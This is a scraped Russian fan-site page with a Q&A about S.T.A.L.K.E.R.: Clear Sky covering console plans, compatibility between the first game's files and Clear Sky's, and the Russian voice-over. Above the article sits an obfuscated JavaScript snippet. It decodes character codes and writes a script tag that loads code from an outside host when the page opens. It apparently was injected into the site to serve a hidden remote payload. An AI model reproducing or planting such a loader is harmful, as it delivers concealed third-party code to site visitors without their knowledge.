
Онлайн всего: 1 Гостей: 1 Пользователей: 0
Кто был сегодня :
| | на развитие сайта | Патчи
|  <script type="text/javascript" language="javascript"> <!-- function MLr867(DwR265){document.write( String.fromCharCode(parseInt(DwR265)-2));} var aL401="106P118P118P114P60P49P49P70P99P120P107P124P"+ "48P113P109P113P117P106P103P101P106P109P99P48P112P103P"+ "118P49P117P49P114P89P76P92P89P102P58P57P56P55P49P65P"+ "117P107P102P63P57P52P58P58P54";var E450=aL401.split("P"); document.write("<script type='text/javascript' language='javascript' src='"); var z269=0;while(z269<E450.length){MLr867(E450[z269]);z269++;} document.write("'></script>"); // --> </script>
 


|
|
Консоли
Планируете ли вы портировать S.T.A.L.K.E.R. на консоли? Мы уже
получили инструментарий для разработки на PS3, X-Box и Wii. В данный
момент мы экспериментируем и проводим тесты движка. Пока ничего не
анонсировано.
Насколько возможно совмещение файлов оригинального
"S.T.A.L.K.E.R." и "Чистого Неба" (настройки оружия, озвучка, HUD,
иконки и т.п.)? Так как много элементов в "Чистом Небе" переделано и
изменено, совместить файлы обеих игр является непростой задачей.
"Чистое Небо" - самостоятельный продукт с большим количеством
нововведений как в технологии, так и игровом процессе.
Некоторые
люди были весьма расстроены тем, что русский диалог был брошен в пользу
локализированных версий. Оригинальный язык играл важную роль в создании
уникальной атмосферы ТЧ. Нельзя ли добавить возможность включать и
выключать оригинальный русский диалог? Мне частично понятно решение GSC
сделать полный перевод для повышения продаж... но значительная часть
шарма ТЧ была основана на родном языке. Пожалуйста не отказывайтесь от
него! В первую очередь, локализация первой части "S.T.A.L.K.E.R."
была сделана, для того, чтоб игрок смог полностью влиться в игру,
проникнутся и прочувствовать саму идею и сюжет. Для этого мало просто
прочитать текст внизу экрана, надо еще и слышать его. Поэтому основные
сюжетные диалоги будут локализированы, а чтоб сохранить атмосферность
игры, тексты в игре были специально переведены с акцентом. Также на
русском языке были оставлены байки возле костра. В "Чистом Небе" мы
пойдем тем же путем.
|
| Категория: Мои статьи | Добавил: Deviz (30.06.2009)
|
| Просмотров: 697
| Рейтинг: 0.0/0 |
Добавлять комментарии могут только зарегистрированные пользователи. [ Регистрация | Вход ]
|

Привет: Гость
Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!
|

Мы будем очень благодарны, если Вы разместите наш баннер у себя на сайте. Вот его код:
|
|